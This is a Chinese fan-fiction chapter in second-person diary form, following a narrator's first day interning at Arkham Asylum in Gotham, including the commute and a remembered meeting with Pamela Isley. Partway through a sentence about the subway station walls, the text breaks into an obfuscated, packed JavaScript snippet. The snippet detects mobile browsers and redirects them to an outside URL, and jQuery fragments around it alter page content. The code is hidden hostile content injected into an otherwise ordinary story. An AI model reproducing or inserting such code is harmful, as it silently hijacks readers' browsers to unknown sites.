20xx年1月11日，晴，冷
入职第一天｜随记
今天正式入职阿卡姆。按流程完成了 HR 报到、安全审核和生物信息录入，拿到员工证和权限卡。与导师见面，确认目前只负责观察和记录，不参与干预。IT 部门讲解了 TrackCare 的基本结构和权限分级，需要尽快熟悉。
中途收到帕米拉的消息，简单回复已到岗。行程按计划完成，没有延误。明天需要整理流程笔记，把系统操作再过一遍。
--------------------------------------------------------------------------------------------------------
今天是你入职阿卡姆精神病院的第一天。
拿到这个实习，说实话你内心挺忐忑的。上辈子在高中学了两年的心理学，再加上穿越之后这两年系统性的本科训练，你的理论知识称得上扎实，但临床经验几乎为零。你很清楚自己擅长分析、阅读文献、拆解模型，却不确定在真正的临床环境里，面对活生生、情绪失控甚至具有攻击性的病人时，你是否还能保持冷静和专业。
今天是你去报到的第一天。天气不错，是晴天，但风很冷。一月的哥谭就是这样——像一把裹着绸布的软刀子，看着晴空万里，实际却一刀一刀割在皮肤上。刮风的时候，空气像是夹杂着碎玻璃，贴着脸刮过去；一旦走到高楼投下的阴影里，又仿佛整个人被推进了冰窟。
街道两侧的建筑外墙颜色偏暗，砖石表面有明显的风化痕迹。路边的垃圾桶被固定在金属支架上，桶盖因为寒冷合不上，里面露出一角压扁的纸杯。行人不多，偶尔有人快步经过，衣领竖起，手插在口袋里，很少有人停留。
是的，你在大二结束后申请了春季转学。因为你已经在布大和“密大”读完了两年的通识课程，还参与过数个研究项目，做出了一些能写进 CV（履历）的成果。哥谭大学给你的转学 offer（录取通知）条件相当优厚——不仅有韦恩集团赞助的学费和奖学金，还附带一个入学即带实习 placement（实习安置）的机会。唯一的条件是：你必须在大三秋季前自学完成哥谭大学犯罪心理学的专业课程，并通过相应考试。
你现在走在从奖学金勉强负担得起的出租房到地铁站的路上。你要先坐地铁去哥谭北区，然后从 Gotham City Ferry Co.（哥谭市渡轮公司）搭乘员工渡船前往阿卡姆。你戴着耳机，穿着一件口袋很多的外套，手机挂着挂绳，握手机时食指自然扣在灵动岛上方——这是你在哥谭生活后形成的条件反射。你亲眼见过有人只是抓着手机两侧，下一秒就被飞车党顺走，连反应的时间都没有。
人行道边缘结着一层薄冰，路面有被反复踩踏后形成的灰白痕迹。公交站牌的电子屏亮度偏低，时间数字闪烁了一下才稳定下来。你路过一家尚未开门的便利店，玻璃橱窗里反射出你经过时的身影，轮廓被拉长。
进了地铁站，陈旧设施带来的重金属粉尘气味扑面而来，你几乎是本能地戴上了口罩。你已经不在意旁人投来的目光了——总有人会觉得你戴口罩是“有病”，但你自己很清楚，不戴才是真的会生病。那种类似重感冒的过敏反应，足以让你整整一周状态崩盘。
站台墙面贴着早已褪色的广告，边角卷起，用透明胶反复粘过。顶灯间隔不均，有一盏亮度明显偏暗。铁轨下方传来持续的风声，伴随着偶尔响起的金属摩擦音。
地铁车厢里一如既往地混乱。你无视了身上散发着刺鼻气味的流浪汉——他们端着快餐店的透明塑料杯，在节车厢之间来回走动乞讨；你也刻意避开了几名脖子喝得通红、声音洪亮的白人醉汉；还有一群精力过剩的 teenagers（青少年），把扶手当成街边健身器材，吊着做引体向上，笑声在车厢里回荡。
扶手上有明显的磨损痕迹，金属表面被反复触碰后发亮。座椅边缘沾着干涸的污渍，颜色深浅不一。有人在车厢一角低头睡着，帽檐压得很低，呼吸节奏均匀。美国的地铁坐椅和伦敦的差异比较大，这边大部分是金属制成的，不像伦敦地铁的纺织物制座椅床螨含量极高。
你戴着耳机听音乐，点开手机备忘录，查看今天的 to-do list（待办事项清单）。你承认自己可能有点 ADHD（注意力缺陷多动障碍），同时你大概也是个 J 人（计划型人格）——如果不把事情列成清单，你会感到一种难以言喻的焦虑；而每完成一项就划掉一个的感觉，异常令人满足。虽然你对十六型人格理论始终持中立态度，毕竟人格会随着环境不断变化——从小到大，你几乎每年测一次 MBTI（迈尔斯-布里格斯性格类型指标），前后换了四次，才算勉强稳定下来。
你的 to-do list（待办清单）写着：
跟 HR（人力资源）报道
去 Security Office（安保办公室）完善个人生物信息
和 Mentor（导师）确认工作内容，并交接上一位实习生的工作
与 IT 部门接洽 TrackCare（一种医疗信息系统，用于病例管理，本质是一个高度权限分级的数据库）的使用
手机屏幕亮度在地下环境中显得偏高，白□□面在周围昏暗背景里很醒目。你将屏幕稍微调暗，避免过于显眼。
你正逐条浏览，屏幕上忽然弹出一条消息。
来自帕米拉。
帕米拉·艾斯利，是你上周去哥谭大学报到、领取校卡和阿卡姆员工卡时认识的红发碧眼女生。她很美，可惜不是同一个专业——她在哥谭大学做植物研究。
那天你走在校园里，看见她怀里抱着几盆植物，脚边还垫着好几本书和资料，整个人颤颤巍巍、小心翼翼地挪动着。因为你向来习惯提前到达，所以在下午 slot（时间段）的工作人员结束午休前，你就已经到了行政楼附近。你注意到自己还有时间，于是在她终于撑不住、停在路边长椅旁休息时，走上前搭话。
长椅的木板表面有被雨水浸过的痕迹，颜色深浅不一。你看了看她放在长椅上的书和资料，又看了看她怀里的植物，问她需不需要帮忙。你说你可以帮她拿资料，陪她一起去目的地。你推测她的目的地应该是附近的生物学楼——她对植物那种近乎珍惜的态度，再加上一个人搬这么多东西，很明显是高估了自己的体力。人往往会在“路不远”的前提下，选择一个人咬牙硬撑。
不远处，就是那片有着温棚的哥谭大学花园，正对着行政楼。行政楼本身，就是那种会被印在明信片上的标志性建筑。
温棚的玻璃在阳光下反射出规则的光斑，花园里的小径铺着浅色碎石，行走时会发出轻微声响。行政楼的台阶被频繁使用，边缘已经被磨得圆滑。
她果然露出惊喜的表情：“Really? You can help me?”（真的吗？你可以帮我吗？）
“我要去的地方就是对面的生物楼。我是帕米拉，在这里做植物研究的。我真没想到这些 materials（资料）会这么重……”
你们简单互相介绍了一下。你说了你今天来做什么、学什么专业。你帮她拿着资料，一起往前走。一路上她不断说着 “You make my day（你真的让我的一天变得很好）”“You’re literally my lifesaver（你简直是我的救命恩人）”，语气夸张却真诚。你们聊得很愉快。
她走路时步伐偏小，为了保持植物的平衡刻意放慢速度。资料的纸张边缘有被反复翻动后留下的折痕，你调整了一下抱着的角度，避免滑落。
你其实有个弱点——你对漂亮的人几乎没有抵抗力。但这不意味着你对帕米拉一见钟情。你对自己的性取向始终不算清晰，只能确定一件事：到目前为止，你还没有真正心动过。
那天之后，你和帕米拉成了朋友。
现在，你收到的正是她发来的问候消息。你告诉她你要去阿卡姆实习时，她的表情明显迟滞了一下，甚至还跟你确认了一遍。你能看出她的担心——阿卡姆的臭名昭著，几乎是哥谭的常识；但她也明白，以你的专业背景，去那里确实“很有用”，对未来发展极其有利。
消息气泡停留在屏幕上几秒，随后出现正在输入的提示，又很快消失。
她的消息语气依旧带着隐约的不安。你简单回复了她一句“我已经在路上了”，地铁也恰好驶入终点站。
你的奖学金当然负担不起市中心的高昂房租，所以你住在学校和阿卡姆之间的区域——考文垂区。
地铁到站时，车厢里的人明显少了一半。
你随着人流下车，脚踩在站台上时，第一反应是冷。不是那种一下子冻住的低温，而是从脚底慢慢往上爬的寒意，像湿气渗进骨头里。北区的地铁站比市中心旧得多，灯光偏暗，墙面上有多次粉刷后留下的斑驳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116913|195924||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
痕迹，颜色层层叠叠，像被反复覆盖的旧伤。
你顺着指示牌往渡船方向走。通道里很安静，脚步声被放得很大，你听见自己的鞋底与地面摩擦的声音，一下，又一下。出口附近站着几名安保人员，制服整洁，表情松弛却警惕。他们的目光在每一个经过的人身上短暂停留，停顿时间不长，但足够让人意识到自己正在被确认身份。
出了站，风立刻迎面扑上来。水汽很重，空气里有河流特有的味道，混着柴油和铁锈。你拉紧外套，低头看了一眼时间，还来得及。员工渡船停靠在专用码头，船身不大，外表看起来已经服役多年，漆面被盐分和风雨侵蚀，边角发白。
等船的人不多，大多穿着统一风格的深色外套，包都不大，看起来像习惯轻装出行的人。你站在队伍末尾，没有刻意打量谁，却本能地记下了一些细节。有人手指关节粗大，像是常年戴手套工作；有人袖口洗得发白；还有一个中年男人低头翻看纸质文件，页角卷起，显然反复被翻阅。
船靠岸时发出一声闷响，缆绳被抛上码头。你跟着人群登船，踏板在脚下微微晃动，让你下意识放慢了步子。船舱里温度低，窗户很小，玻璃略微发黄，像是隔绝了外界，也隔绝了时间。你选了靠窗的位置坐下，把背包放在脚边。
发动机启动的震动从座椅传到脊背，你能清楚感觉到那种持续的低频嗡鸣。船缓缓离岸，水面被划开，留下不规则的白色痕迹。你看着城市一点点后退，高楼轮廓在冬日的雾气中变得模糊，像一幅被水浸过的旧照片。
没人说话。
船舱里的气氛很奇怪，安静却不放松。你察觉到一种共识般的沉默，仿佛所有人都清楚目的地是什么，也默认了不需要寒暄。你把耳机摘下来，却没有播放音乐，只是让自己听见环境的声音。水拍打船身，金属轻微震动，远处传来模糊的汽笛声。
阿卡姆出现得比你想象中更早。
它从雾气里慢慢显形，轮廓先出现，然后是高耸的围墙，厚重的建筑主体。那不是一座让人产生安全感的建筑。它站在那里，像是被刻意隔离的存在，远离城市，却始终被注视。你看见高处的窗户，排列整齐，玻璃反光，像一排冷静的眼睛。
船靠岸时，你的心跳不自觉地快了一拍。
你提醒自己只是第一天，只是报到，只是实习。你把这些词在心里过了一遍，让它们变成可以被接受的事实。下船后，脚踩在码头的那一刻，你明显感觉到这里的空气不同。更冷，也更沉。风被建筑挡住了一部分，却带着更直接的寒意。
你跟着指示牌前行，员工通道与访客通道被明确分开。金属门上贴着醒目的警示标识，字体清晰，没有多余修饰。刷卡时，你的手指略微发紧，卡片贴近感应区，发出清脆的一声提示音，门锁解开。
门在你身后合上。
那一瞬间，外界的声音被切断，只剩下室内的回音。走廊很长，灯光均匀，颜色偏冷。地面被打磨得很平整，你几乎听不到自己的脚步声。你注意到墙角的监控摄像头，角度固定，覆盖范围清晰，没有盲区。
你去 HR 报到，流程比你预想得顺畅。文件一份一份递过来，你签名，确认，点头。对方语气平稳，没有多余寒暄，像是在执行一套早已熟练的程序。你的名字被读出来时，你有短暂的出神，随后才意识到那是在确认你的身份。
Security Office 在更里侧。
生物信息采集的过程让你有种被拆解的感觉。指纹、虹膜、基础体征数据，一项接一项。你坐在椅子上，背部挺直，配合指令。工作人员没有表情波动，视线始终停留在屏幕和设备之间。
最后，你被带去见你的 mentor。
他看起来比你想象中年轻，穿着简单，眼神很稳。他没有立刻谈工作，只是让你先坐下，问你路上是否顺利。你点头，简单回应。他接着说明你的职责范围，语速不快，用词精确，没有模糊地带。
你听得很认真。
当他说到“观察”“记录”“不介入”时，你在心里默默重复了一遍。你明白这是对新人的保护，也是一种筛选。你需要先学会看，学会分辨，学会在情绪之外站稳。
第一道病区门在你面前打开。
空气温度微妙地变化了一点，你能感觉到那种差异，却说不清来源。远处传来模糊的声音，有人说话，有金属碰撞，有笑声突然响起，又很快被压低。你站在门口，短暂地停了一秒。
你意识到，你已经真正踏进来了。